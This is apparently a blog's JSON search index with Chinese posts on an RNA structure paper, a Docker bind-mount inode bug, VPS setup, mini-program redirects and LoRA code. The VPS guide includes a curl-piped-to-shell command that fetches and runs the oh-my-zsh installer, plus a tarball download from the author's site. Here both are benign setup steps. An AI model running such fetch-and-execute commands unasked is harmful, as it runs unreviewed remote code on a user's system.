往往具有显著的构象灵活性 trRosettaRNA2 的做法是： 构造多个 SS（来自不同预测器或模型） 对每个 SS 独立进行 3D 预测 聚合得到结构集合（ensemble） ","date":"2026-04-30","heading":"核心思路","objectID":"/blog/posts/research-notes/paper-review-trrna2/:2:1","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#核心思路"},{"categories":["科研笔记"],"collections":null,"content":"实现细节\r使用 11 种不同 SS 来源（如 trRNA2-SS、SPOT-RNA、RNAfold 等） 每个 SS 输入下： 运行模型多个 recycling（4 次） 最终得到： 共 44 个结构（11 SS × 4 次） ","date":"2026-04-30","heading":"实现细节","objectID":"/blog/posts/research-notes/paper-review-trrna2/:2:2","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#实现细节"},{"categories":["科研笔记"],"collections":null,"content":"对比：AlphaFold3 的做法\r作为对照，AlphaFold3 并不显式使用 SS 作为条件变量，而是： 固定输入（sequence + MSA） 通过 不同随机种子（random seeds） 进行多次推理 共生成约 100 个结构 ","date":"2026-04-30","heading":"对比：AlphaFold3 的做法","objectID":"/blog/posts/research-notes/paper-review-trrna2/:2:3","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#对比alphafold3-的做法"},{"categories":["科研笔记"],"collections":null,"content":"结果\rtrRosettaRNA2 能生成与实验接近的构象分布 AlphaFold3 更接近单一结构预测器 ","date":"2026-04-30","heading":"结果","objectID":"/blog/posts/research-notes/paper-review-trrna2/:2:4","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#结果"},{"categories":["科研笔记"],"collections":null,"content":"参考文献\rWang, W., Peng, Z. \u0026amp; Yang, J. Predicting RNA 3D structure and conformers using a pre-trained secondary structure model and structure-aware attention. Nat Mach Intell (2026). https://doi.org/10.1038/s42256-026-01223-x ","date":"2026-04-30","heading":"参考文献","objectID":"/blog/posts/research-notes/paper-review-trrna2/:3:0","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#参考文献"},{"categories":["开发运维"],"collections":null,"content":"问题背景\rDocker Compose 里经常会把单个配置文件 bind mount 到容器中： services:\rweb:\rimage: my-app\rvolumes:\r- ./config.json:/app/config.json\r这样写很方便：宿主机改配置，容器里也能读到新内容，不需要重新构建镜像。但它有个隐蔽问题：某些编辑方式会让宿主机文件和容器内文件断开同步。 ","date":"2026-03-12","heading":"问题背景","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:1:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#问题背景"},{"categories":["开发运维"],"collections":null,"content":"现象\r容器启动后，最开始一切正常。后来你用 vim、VSCode 或 sed -i 修改 config.json，可能会发现： 宿主机上的 config.json 已经更新 容器里的 /app/config.json 仍然是旧内容 容器继续使用旧配置 两边对这个文件的修改不再互相可见 这个问题看起来像同步失效，但本质上是挂载点还指向旧文件。 ","date":"2026-03-12","heading":"现象","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:2:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#现象"},{"categories":["开发运维"],"collections":null,"content":"原因\r单文件 bind mount 的关键点是：Docker 挂载的是当时那个文件对象，而不是永远跟随这个文件名。 ./config.json inode A -\u003e /app/config.json\r很多编辑器保存文件时，并不是直接在原文件上修改，而是走类似这样的流程： 写入 config.json.tmp\rrename(config.json.tmp, config.json)\r保存完成后，宿主机路径 config.json 指向了新的 inode： 宿主机: ./config.json -\u003e inode B\r容器内: /app/config.json -\u003e inode A\r容器仍然挂着旧文件对象，于是宿主机和容器里的文件就“分离”了。 ","date":"2026-03-12","heading":"原因","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:3:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#原因"},{"categories":["开发运维"],"collections":null,"content":"为什么隐蔽\r它不是每次修改都会触发，而是取决于工具的保存方式： 操作\r是否可能更换 inode\rvim 保存\r可能\rVSCode 保存\r可能\rsed -i\r可能\rcp 覆盖\r可能\recho \u0026gt;\u0026gt; file\r通常不会\r所以它经常表现成“之前都正常，某次修改后突然不生效”。 ","date":"2026-03-12","heading":"为什么隐蔽","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:4:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#为什么隐蔽"},{"categories":["开发运维"],"collections":null,"content":"推荐做法\r不要挂载单个文件： volumes:\r- ./config.json:/app/config.json\r推荐把配置放进目录，挂载整个目录： volumes:\r- ./data:/app/data\r项目结构可以这样放： project/\rdocker-compose.yml\rdata/\rconfig.json\rlogs/\r程序读取： /app/data/config.json\r这样即使 data/config.json 被编辑器替换成新 inode，容器看到的仍然是同一个挂载目录下的新文件。 ","date":"2026-03-12","heading":"推荐做法","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:5:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#推荐做法"},{"categories":["开发运维"],"collections":null,"content":"Compose 示例\rservices:\rweb:\rimage: my-app\rvolumes:\r- ./data:/app/data\r- ./logs:/app/logs\r配置、日志、运行数据都按目录挂载，后续新增文件也不需要再改 compose。 ","date":"2026-03-12","heading":"Compose 示例","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:6:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#compose-示例"},{"categories":["开发运维"],"collections":null,"content":"总结\r单文件 bind mount 的坑在于：文件名没变，不代表底层文件对象没变。编辑器或命令一旦用 rename 覆盖原文件，容器可能还挂着旧 inode，导致宿主机和容器内的文件不再同步。 实际项目里，优先挂载目录： 不推荐: ./config.json:/app/config.json\r推荐: ./data:/app/data\r单文件挂载只适合非常明确、不会被运行时频繁编辑替换的场景。 ","date":"2026-03-12","heading":"总结","objectID":"/blog/posts/devops/problem-docker-volume-edit-bug/:7:0","tags":["docker"],"title":"Docker 挂载单个文件的一个隐蔽 Bug：修改后容器和宿主机会“分离”","uri":"/blog/posts/devops/problem-docker-volume-edit-bug/#总结"},{"categories":["开发运维"],"collections":null,"content":"一、系统配置\r","date":"2026-02-26","heading":"一、系统配置","objectID":"/blog/posts/devops/vps-configure/:1:0","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#一系统配置"},{"categories":["开发运维"],"collections":null,"content":"更新系统\rapt update \u0026\u0026 apt full-upgrade -y \u0026\u0026 apt autoremove -y \u0026\u0026 apt autoclean -y\r","date":"2026-02-26","heading":"更新系统","objectID":"/blog/posts/devops/vps-configure/:1:1","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#更新系统"},{"categories":["开发运维"],"collections":null,"content":"安装常用工具\rapt install sudo htop git wget curl vim tmux net-tools unattended-upgrades fail2ban -y\r","date":"2026-02-26","heading":"安装常用工具","objectID":"/blog/posts/devops/vps-configure/:1:2","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#安装常用工具"},{"categories":["开发运维"],"collections":null,"content":"配置自动更新策略\r编辑文件： sudo vim /etc/apt/apt.conf.d/20auto-upgrades\r修改为： APT::Periodic::Update-Package-Lists \"1\"; // 每天更新软件包列表\rAPT::Periodic::Unattended-Upgrade \"1\"; // 每天自动安装安全更新\rAPT::Periodic::AutocleanInterval \"7\"; // 每周自动清理无用包\r","date":"2026-02-26","heading":"配置自动更新策略","objectID":"/blog/posts/devops/vps-configure/:1:3","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#配置自动更新策略"},{"categories":["开发运维"],"collections":null,"content":"设置内核更新后自动重启\r编辑文件： sudo vim /etc/apt/apt.conf.d/50unattended-upgrades\r找到该项取消注释并修改为： Unattended-Upgrade::Automatic-Reboot \"true\";\r可选：指定重启时间（推荐凌晨） Unattended-Upgrade::Automatic-Reboot-Time \"04:00\";\r","date":"2026-02-26","heading":"设置内核更新后自动重启","objectID":"/blog/posts/devops/vps-configure/:1:4","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#设置内核更新后自动重启"},{"categories":["开发运维"],"collections":null,"content":"验证自动更新是否启用\r运行： systemctl status unattended-upgrades\r如果显示 active (running)，说明已启用。 ","date":"2026-02-26","heading":"验证自动更新是否启用","objectID":"/blog/posts/devops/vps-configure/:1:5","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#验证自动更新是否启用"},{"categories":["开发运维"],"collections":null,"content":"启动 fail2ban\rsudo systemctl enable fail2ban\rsudo systemctl start fail2ban\r","date":"2026-02-26","heading":"启动 fail2ban","objectID":"/blog/posts/devops/vps-configure/:1:6","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#启动-fail2ban"},{"categories":["开发运维"],"collections":null,"content":"开启BBR (境外服务器)\rroot 账户执行 echo \"net.core.default_qdisc=fq\" \u003e\u003e /etc/sysctl.conf\recho \"net.ipv4.tcp_congestion_control=bbr\" \u003e\u003e /etc/sysctl.conf\rsysctl -p\r检查 bbr 状态 sysctl net.ipv4.tcp_congestion_control | grep bbr\r","date":"2026-02-26","heading":"开启BBR (境外服务器)","objectID":"/blog/posts/devops/vps-configure/:1:7","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#开启bbr-境外服务器"},{"categories":["开发运维"],"collections":null,"content":"二、创建非 root 用户并启用 SSH 密钥登录\r","date":"2026-02-26","heading":"二、创建非 root 用户并启用 SSH 密钥登录","objectID":"/blog/posts/devops/vps-configure/:2:0","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#二创建非-root-用户并启用-ssh-密钥登录"},{"categories":["开发运维"],"collections":null,"content":"创建非 root 用户\rsudo adduser fpc\r","date":"2026-02-26","heading":"创建非 root 用户","objectID":"/blog/posts/devops/vps-configure/:2:1","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#创建非-root-用户"},{"categories":["开发运维"],"collections":null,"content":"赋予 sudo 权限\rsudo usermod -aG sudo fpc\r","date":"2026-02-26","heading":"赋予 sudo 权限","objectID":"/blog/posts/devops/vps-configure/:2:2","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#赋予-sudo-权限"},{"categories":["开发运维"],"collections":null,"content":"切换到新用户\rsu - fpc\r确认当前用户已经变为 fpc。 ","date":"2026-02-26","heading":"切换到新用户","objectID":"/blog/posts/devops/vps-configure/:2:3","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#切换到新用户"},{"categories":["开发运维"],"collections":null,"content":"生成 SSH 密钥（在本地电脑执行）\r如果你还没有 SSH 密钥，请在本地终端运行： ssh-keygen -t ed25519 -C \"fupcode@outlook.com\"\r执行后会生成： 私钥（保存在本地） 公钥（用于上传到服务器） 默认路径： ~/.ssh/id_ed25519\r~/.ssh/id_ed25519.pub\r","date":"2026-02-26","heading":"生成 SSH 密钥（在本地电脑执行）","objectID":"/blog/posts/devops/vps-configure/:2:4","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#生成-ssh-密钥在本地电脑执行"},{"categories":["开发运维"],"collections":null,"content":"将公钥添加到服务器\r在服务器上（确保当前用户为 fpc）执行： mkdir -p ~/.ssh\rchmod 700 ~/.ssh\r然后将本地公钥内容复制粘贴到： vim ~/.ssh/authorized_keys\r粘贴公钥后保存。 设置权限： chmod 600 ~/.ssh/authorized_keys\r","date":"2026-02-26","heading":"将公钥添加到服务器","objectID":"/blog/posts/devops/vps-configure/:2:5","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#将公钥添加到服务器"},{"categories":["开发运维"],"collections":null,"content":"禁止 root 登录以及禁止密码登录\r编辑 SSH 配置文件： sudo vim /etc/ssh/sshd_config\r末尾添加 PermitRootLogin no\rPasswordAuthentication no\r","date":"2026-02-26","heading":"禁止 root 登录以及禁止密码登录","objectID":"/blog/posts/devops/vps-configure/:2:6","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#禁止-root-登录以及禁止密码登录"},{"categories":["开发运维"],"collections":null,"content":"重启 SSH 服务\rsudo systemctl restart ssh\r警告 在关闭当前 root 会话前，请确保可以使用 fpc 用户以SSH 密钥方式登录，否则可能会被锁在服务器外。 ","date":"2026-02-26","heading":"重启 SSH 服务","objectID":"/blog/posts/devops/vps-configure/:3:0","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#重启-ssh-服务"},{"categories":["开发运维"],"collections":null,"content":"三、用户配置\r","date":"2026-02-26","heading":"三、用户配置","objectID":"/blog/posts/devops/vps-configure/:4:0","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#三用户配置"},{"categories":["开发运维"],"collections":null,"content":"git配置\r设置 git 账户信息，指定 git 的编辑器。 git config --global user.name \"fpc\"\rgit config --global user.email \"fupcode@outlook.com\"\rgit config --global core.editor \"vim\"\r","date":"2026-02-26","heading":"git配置","objectID":"/blog/posts/devops/vps-configure/:4:1","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#git配置"},{"categories":["开发运维"],"collections":null,"content":"上传 SSH 密钥至 GitHub\r创建密钥 ssh-keygen -t ed25519 -C \"fupcode@outlook.com\"\r执行 cat ~/.ssh/id_ed25519.pub\r复制到 GitHub ","date":"2026-02-26","heading":"上传 SSH 密钥至 GitHub","objectID":"/blog/posts/devops/vps-configure/:4:2","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#上传-ssh-密钥至-github"},{"categories":["开发运维"],"collections":null,"content":"配置 Zsh 与自定义主题\r安装 zsh 与基础工具： sudo apt update\rsudo apt install zsh -y\rchsh -s $(which zsh)\r重新登录服务器，遇到 zsh 配置界面直接按 q 安装 oh-my-zsh： sh -c \"$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\r重新登录一次。 下载并安装自定义主题： mkdir -p ~/.oh-my-zsh/custom/themes\rwget https://fupcode.com/shared/fpc.zsh-theme.tar.gz\rtar xzvf fpc.zsh-theme.tar.gz -C ~/.oh-my-zsh/custom/themes/\r编辑配置文件： vim ~/.zshrc\r修改主题与插件： ZSH_THEME=\"fpc\"\rplugins=(\rgit\rzsh-autosuggestions\rzsh-syntax-highlighting\rz\r)\r最后增加个人自用的 shell 配置： alias la='ls -A'\ralias ll='ls -lh'\ralias l='ls -lah'\ralias va='. .venv/bin/activate'\ralias da='deactivate'\r安装插件： git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions\rgit clone https://github.com/zsh-users/zsh-syntax-highlighting ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\rz 插件已内置于 oh-my-zsh，无需额外安装。 加载配置： source ~/.zshrc\r","date":"2026-02-26","heading":"配置 Zsh 与自定义主题","objectID":"/blog/posts/devops/vps-configure/:4:3","tags":["linux","vps"],"title":"VPS 的默认配置","uri":"/blog/posts/devops/vps-configure/#配置-zsh-与自定义主题"},{"categories":["环境配置"],"collections":null,"content":"背景\r我们课题组计算集群使用的glib版本是2.17，这导致了一些较新的科学计算库在安装或使用时出现问题。查看glibc版本方法： ldd --version\r","date":"2026-01-08","heading":"背景","objectID":"/blog/posts/environment/multimolecule-low-glibc/:1:0","tags":["Multimolecule"],"title":"Multimolecule 在低版本 glibc 安装方式","uri":"/blog/posts/environment/multimolecule-low-glibc/#背景"},{"categories":["环境配置"],"collections":null,"content":"Multimolecule安装\r首先通过conda安装pyarrow conda install pyarrow\r再安装低版本dataset pip install datasets=3.6.0\r最后安装multimolecule pip install multimolecule\r最后安装multimolecule时可能出现CMake版本过低，此时需要临时下载新版本CMake，将CMake的二进制文件临时加入环境变量 export PATH=$PWD/cmake-3.31.10-linux-x86_64/bin:$PATH\r验证CMake which cmake\rcmake --version\r","date":"2026-01-08","heading":"Multimolecule安装","objectID":"/blog/posts/environment/multimolecule-low-glibc/:2:0","tags":["Multimolecule"],"title":"Multimolecule 在低版本 glibc 安装方式","uri":"/blog/posts/environment/multimolecule-low-glibc/#multimolecule安装"},{"categories":["开发运维"],"collections":null,"content":"最近在将自研小程序从测试版发布到正式版时，遇到了一个非常奇怪的坑：接口在本地开发和测试环境中一切正常，但一旦发布到正式版，就出现了 code 600002 的报错，提示 URL not in domain list。 ","date":"2025-11-29","heading":"","objectID":"/blog/posts/devops/problem-wx307/:0:0","tags":["微信小程序"],"title":"重定向导致微信小程序只在正式版出现接口报错 code 600002, url not in domain list","uri":"/blog/posts/devops/problem-wx307/#"},{"categories":["开发运维"],"collections":null,"content":"问题现象\r接口本地测试完全正常。 开发版和测试版的小程序也可以正常调用该接口。 微信小程序后台服务器域名配置正常。 正式版小程序调用同一接口时，直接报错： {\r\"errCode\": 600002,\r\"errMsg\": \"url not in domain list\"\r}\r","date":"2025-11-29","heading":"问题现象","objectID":"/blog/posts/devops/problem-wx307/:1:0","tags":["微信小程序"],"title":"重定向导致微信小程序只在正式版出现接口报错 code 600002, url not in domain list","uri":"/blog/posts/devops/problem-wx307/#问题现象"},{"categories":["开发运维"],"collections":null,"content":"问题定位\r后端服务日志显示请求有记录，但没有报错信息。 Nginx 日志中发现状态码 307 Temporary Redirect。 查看 Git 提交记录时发现，报错接口被修改过，在原有的 API 路径后意外多加了一个 /，如：/api ➡️ /api/ ","date":"2025-11-29","heading":"问题定位","objectID":"/blog/posts/devops/problem-wx307/:2:0","tags":["微信小程序"],"title":"重定向导致微信小程序只在正式版出现接口报错 code 600002, url not in domain list","uri":"/blog/posts/devops/problem-wx307/#问题定位"},{"categories":["开发运维"],"collections":null,"content":"问题分析\r我的nginx上游服务器是FastAPI，FastAPI 默认严格区分 /api 与 /api/，但是FastAPI收到其中一个未定义的路由时，会自动返回 307 Temporary Redirect，引导客户端访问另一个路径。 然而微信小程序似乎不允许重定向，而且只在正式版报错，就产生了这个难以快速定位的bug。 ","date":"2025-11-29","heading":"问题分析","objectID":"/blog/posts/devops/problem-wx307/:3:0","tags":["微信小程序"],"title":"重定向导致微信小程序只在正式版出现接口报错 code 600002, url not in domain list","uri":"/blog/posts/devops/problem-wx307/#问题分析"},{"categories":["开发运维"],"collections":null,"content":"解决方法\r规范前端请求，去掉斜杠 增加后端健壮性，同时支持支持带/不带斜杠（不推荐） ","date":"2025-11-29","heading":"解决方法","objectID":"/blog/posts/devops/problem-wx307/:4:0","tags":["微信小程序"],"title":"重定向导致微信小程序只在正式版出现接口报错 code 600002, url not in domain list","uri":"/blog/posts/devops/problem-wx307/#解决方法"},{"categories":["网络"],"collections":null,"content":"问题背景\r使用家用Wi-Fi部署一些服务后，要访问的话，打ip地址太长了，让不懂web相关知识的人手打地址更是灾难。因此，路由器自定义host是一个好的方案。 ","date":"2025-11-29","heading":"问题背景","objectID":"/blog/network/problem-custom-host/:1:0","tags":["host"],"title":"科学上网问题 - 自定义host无法访问服务","uri":"/blog/network/problem-custom-host/#问题背景"},{"categories":["网络"],"collections":null,"content":"问题表现\r自定义host后 ✅ 自定义域名能ping通 ✅ 通过ip能访问服务 ❌ 无法通过域名访问服务 ","date":"2025-11-29","heading":"问题表现","objectID":"/blog/network/problem-custom-host/:2:0","tags":["host"],"title":"科学上网问题 - 自定义host无法访问服务","uri":"/blog/network/problem-custom-host/#问题表现"},{"categories":["网络"],"collections":null,"content":"解决方法\r在科学上网软件中将自定义host添加到代理绕过列表 ","date":"2025-11-29","heading":"解决方法","objectID":"/blog/network/problem-custom-host/:3:0","tags":["host"],"title":"科学上网问题 - 自定义host无法访问服务","uri":"/blog/network/problem-custom-host/#解决方法"},{"categories":["深度学习"],"collections":null,"content":"在深度学习微调大模型时，LoRA（Low-Rank Adaptation） 提供了一种高效、轻量的微调方法。本文讲述了LoRA的原理，同时结合一个小型 MNIST 实验做了验证。 ","date":"2025-11-20","heading":"","objectID":"/blog/posts/deep-learning/lora/:0:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#"},{"categories":["深度学习"],"collections":null,"content":"1. LoRA 的核心思路\r在训练大模型时，通常模型参数量巨大，直接微调成本很高。LoRA 提出的想法很直观：不要修改原始权重，只在权重上加一个低秩增量。 假设我们有一个线性层： y=Wx\ry=Wx\ry=Wx LoRA 将权重分解为： W′=W+ΔW,ΔW=BA\rW\u0026#x27; = W + ΔW, \\quad ΔW = BA\rW′=W+ΔW,ΔW=BA A 的维度 [r, in] B 的维度 out, r r \u0026lt;\u0026lt; in, out 推理时输出为： y=Wx+αBAx\ry=Wx+αBAx\ry=Wx+αBAx这里的 α 是缩放因子，用来控制增量权重的数值大小。 核心优势就是：只训练低秩矩阵 B 和 A，原权重 W 保持冻结。显存和训练开销都低很多。 ","date":"2025-11-20","heading":"1. LoRA 的核心思路","objectID":"/blog/posts/deep-learning/lora/:1:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#1-lora-的核心思路"},{"categories":["深度学习"],"collections":null,"content":"2. 小型实验：MNIST 新增特征微调\rBase 模型：普通小型 CNN，不带额外特征 Feature 模型：输入额外亮度特征 + LoRA 微调流程：先训练 base，迁移权重到 feature 模型，只训练 LoRA 和新增特征 CNN模型\rclass CNN(nn.Module):\rdef __init__(self, feature_dim=0):\rsuper().__init__()\rself.feature_dim = feature_dim\rself.conv = nn.Sequential(\rnn.Conv2d(1, 8, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2),\rnn.Conv2d(8, 16, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2)\r)\rself.flatten_dim = 16 * 7 * 7\r# 原本 fc1 输入是 flatten_dim\r# 如果 feature_dim \u003e 0，输入变成 flatten_dim + feature_dim\rself.fc1 = nn.Linear(self.flatten_dim + feature_dim, 64)\rself.fc2 = nn.Linear(64, 10)\rdef forward(self, x, feat=None):\rx = self.conv(x)\rx = x.view(x.size(0), -1)\r# 若有额外特征，则拼接\rif self.feature_dim \u003e 0:\rx = torch.cat([x, feat], dim=1)\rx = F.relu(self.fc1(x))\rx = self.fc2(x)\rreturn x\rfeature_dim=0 → base CNN feature_dim=1 → CNN + 额外亮度特征 额外亮度特征 def extra_feature_brightness(img_batch):\rfeat = img_batch.mean(dim=[1, 2, 3], keepdim=True)\rreturn feat.view(feat.size(0), -1) # [B,1]\rLoRA 包装\rclass LoRAWrapper(nn.Module):\rdef __init__(self, orig_linear, r=8, alpha=16, freeze_base=True):\rsuper().__init__()\rself.weight = nn.Parameter(orig_linear.weight.data.clone())\rself.bias = nn.Parameter(orig_linear.bias.data.clone())\rif freeze_base:\rself.weight.requires_grad = False\rself.bias.requires_grad = False\rself.A = nn.Parameter(torch.randn(r, orig_linear.in_features) * 0.01)\rself.B = nn.Parameter(torch.zeros(orig_linear.out_features, r))\rself.scaling = alpha / r\rdef forward(self, x):\rbase = F.linear(x, self.weight, self.bias)\rreturn base + self.scaling * ((x @ self.A.t()) @ self.B.t())\rLoRA 对CNN模型中的全连接层 fc1 和 fc2 进行包裹，使得训练时仅更新增量矩阵。 迁移权重\rdef load_base_into_feature_model(model_feat, base_state):\rnew_state = model_feat.state_dict()\rfor key in base_state:\rif key not in new_state:\rcontinue\rold_w = base_state[key]\rnew_w = new_state[key]\r# 如果 shape 相同，直接复制\rif old_w.shape == new_w.shape:\rnew_state[key] = old_w.clone()\r# 如果是 fc1.weight，需要特殊处理\relif key == \"fc1.weight\":\r# old: [128, 1568], new: [128, 1569]\rnew_state[key][:, :old_w.shape[1]] = old_w.clone()\r# 最后一列保持原随机初始化（不改）\r# fc1.bias 是 same shape，所以走上面的分支\relse:\r# 其他不匹配的层保持原始随机值\rpass\rmodel_feat.load_state_dict(new_state)\r对于 fc1.weight 这种因新增额外特征而多出一列的层，只拷贝已有列，新增列保持随机初始化。 ","date":"2025-11-20","heading":"2. 小型实验：MNIST 新增特征微调","objectID":"/blog/posts/deep-learning/lora/:2:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#2-小型实验mnist-新增特征微调"},{"categories":["深度学习"],"collections":null,"content":"2. 小型实验：MNIST 新增特征微调\rBase 模型：普通小型 CNN，不带额外特征 Feature 模型：输入额外亮度特征 + LoRA 微调流程：先训练 base，迁移权重到 feature 模型，只训练 LoRA 和新增特征 CNN模型\rclass CNN(nn.Module):\rdef __init__(self, feature_dim=0):\rsuper().__init__()\rself.feature_dim = feature_dim\rself.conv = nn.Sequential(\rnn.Conv2d(1, 8, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2),\rnn.Conv2d(8, 16, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2)\r)\rself.flatten_dim = 16 * 7 * 7\r# 原本 fc1 输入是 flatten_dim\r# 如果 feature_dim \u003e 0，输入变成 flatten_dim + feature_dim\rself.fc1 = nn.Linear(self.flatten_dim + feature_dim, 64)\rself.fc2 = nn.Linear(64, 10)\rdef forward(self, x, feat=None):\rx = self.conv(x)\rx = x.view(x.size(0), -1)\r# 若有额外特征，则拼接\rif self.feature_dim \u003e 0:\rx = torch.cat([x, feat], dim=1)\rx = F.relu(self.fc1(x))\rx = self.fc2(x)\rreturn x\rfeature_dim=0 → base CNN feature_dim=1 → CNN + 额外亮度特征 额外亮度特征 def extra_feature_brightness(img_batch):\rfeat = img_batch.mean(dim=[1, 2, 3], keepdim=True)\rreturn feat.view(feat.size(0), -1) # [B,1]\rLoRA 包装\rclass LoRAWrapper(nn.Module):\rdef __init__(self, orig_linear, r=8, alpha=16, freeze_base=True):\rsuper().__init__()\rself.weight = nn.Parameter(orig_linear.weight.data.clone())\rself.bias = nn.Parameter(orig_linear.bias.data.clone())\rif freeze_base:\rself.weight.requires_grad = False\rself.bias.requires_grad = False\rself.A = nn.Parameter(torch.randn(r, orig_linear.in_features) * 0.01)\rself.B = nn.Parameter(torch.zeros(orig_linear.out_features, r))\rself.scaling = alpha / r\rdef forward(self, x):\rbase = F.linear(x, self.weight, self.bias)\rreturn base + self.scaling * ((x @ self.A.t()) @ self.B.t())\rLoRA 对CNN模型中的全连接层 fc1 和 fc2 进行包裹，使得训练时仅更新增量矩阵。 迁移权重\rdef load_base_into_feature_model(model_feat, base_state):\rnew_state = model_feat.state_dict()\rfor key in base_state:\rif key not in new_state:\rcontinue\rold_w = base_state[key]\rnew_w = new_state[key]\r# 如果 shape 相同，直接复制\rif old_w.shape == new_w.shape:\rnew_state[key] = old_w.clone()\r# 如果是 fc1.weight，需要特殊处理\relif key == \"fc1.weight\":\r# old: [128, 1568], new: [128, 1569]\rnew_state[key][:, :old_w.shape[1]] = old_w.clone()\r# 最后一列保持原随机初始化（不改）\r# fc1.bias 是 same shape，所以走上面的分支\relse:\r# 其他不匹配的层保持原始随机值\rpass\rmodel_feat.load_state_dict(new_state)\r对于 fc1.weight 这种因新增额外特征而多出一列的层，只拷贝已有列，新增列保持随机初始化。 ","date":"2025-11-20","heading":"CNN模型","objectID":"/blog/posts/deep-learning/lora/:2:0","tags":["LoRA","DL"],"title":"LoRA 原理与实战","uri":"/blog/posts/deep-learning/lora/#cnn模型"},{"categories":["深度学习"],"collections":null,"content":"2. 小型实验：MNIST 新增特征微调\rBase 模型：普通小型 CNN，不带额外特征 Feature 模型：输入额外亮度特征 + LoRA 微调流程：先训练 base，迁移权重到 feature 模型，只训练 LoRA 和新增特征 CNN模型\rclass CNN(nn.Module):\rdef __init__(self, feature_dim=0):\rsuper().__init__()\rself.feature_dim = feature_dim\rself.conv = nn.Sequential(\rnn.Conv2d(1, 8, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2),\rnn.Conv2d(8, 16, 3, padding=1),\rnn.ReLU(),\rnn.MaxPool2d(2)\r)\rself.flatten_dim = 16 * 7 * 7\r# 原本 fc1 输入是 flatten_dim\r# 如果 feature_dim \u003e 0，输入变成 flatten_dim + feature_dim\rself.fc1 = nn.Linear(self.flatten_dim + feature_dim, 64)\rself.fc2 = nn.Linear(64, 10)\rdef forward(self, x, feat=None):\rx = self.conv(x)\rx = x.view(x.size(0), -1)\r# 若有额外特征，则拼接\rif self.feature_dim \u003e 0:\rx = torch.cat([x, feat], dim=1)\rx = F.relu(self.fc1(x))\rx = self.fc2(x)\rreturn x\rfeature_dim=0 → base CNN feature_dim=1 → CNN + 额外亮度特征 额外亮度特征 def extra_feature_brightness(img_batch):\rfeat = img_batch.mean(dim=[1, 